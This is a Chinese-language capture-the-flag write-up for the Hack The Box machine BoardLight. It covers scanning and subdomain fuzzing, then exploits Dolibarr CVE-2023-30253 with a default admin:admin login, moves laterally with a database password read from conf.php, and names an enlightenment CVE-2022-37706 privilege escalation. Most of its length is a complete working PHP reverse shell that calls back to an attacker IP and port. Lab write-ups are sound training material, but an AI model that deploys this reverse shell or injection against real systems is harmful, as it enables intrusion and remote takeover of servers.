BoardLight 测试过程

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1 信息收集

NMAP端口扫描

端口扫描开放 22、80 端口

80端口测试

# 添加 boardLight.htb 到hosts文件
echo "10.10.11.11 boardLight.htb" | sudo tee -a /etc/hosts

检查网页源代码，发现 board.htb

# 添加 board.htb 到 hosts 文件
echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts

board.htb 和 boardlight.htb 站点 80 端口没有区别，没有其他可利用信息

子域名&目录扫描

目录扫描未发现利用点

python3 dirsearch.py -u http://boardlight.htb/
python3 dirsearch.py -u http://board.htb/

子域名扫描

./wfuzz -c -w subdomains-top1million-110000.txt -u http://board.htb/ -H "HOST:FUZZ.board.htb" --hl 517
./wfuzz -c -w subdomains-top1million-110000.txt -u http://boardlight.htb/ -H "HOST:FUZZ.boardlight.htb" --hl 517

识别到子域 crm.board.htb，站点使用 Dolibarr 组件，并且版本为 17.0.0

搜索 Dolibarr 17.0.0 ，Dolibarr <= 17.0.0存在一个PHP 命令注入漏洞 (CVE-2023-30253)

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2 CVE-2023-30253利用

17.0.1 之前的版本 Dolibarr 允许经过身份验证的用户通过大写操作执行远程代码：在注入的数据中使用 <?PHP 即可。

1.使用默认账号密码登录 admin：admin

2.添加 website 并配置 pages

3.编辑 HTML 源并在其中添加 PHP 代码测试，<?PHP echo system("id")>，执行成功

反弹shell

<?PHP
// 反弹shell命令
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.171';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);function printit ($string) {if (!$daemon) {print "$string\n";}
}
?>

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3 横向移动

目前登录用户 www-data，检查当前权限下文件，发现 conf.php 文件

cd /var/www/html/crm.board.htb/htdocs/conf
cat conf.php

但是 dolibarrowner ：serverfun2$2023!! ssh 无法登录，查看系统其他用户，/home 下发现用户 larissa

用户 larissa 用户登录成功

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4 权限提升

上传 linpeas.sh 文件

chmod +x linpeas.sh
./linpeas.sh

系统使用 enlightenment 0.23.1，存在 CVE-2022-37706 漏洞

点击查看 CVE-2022-37706 exp地址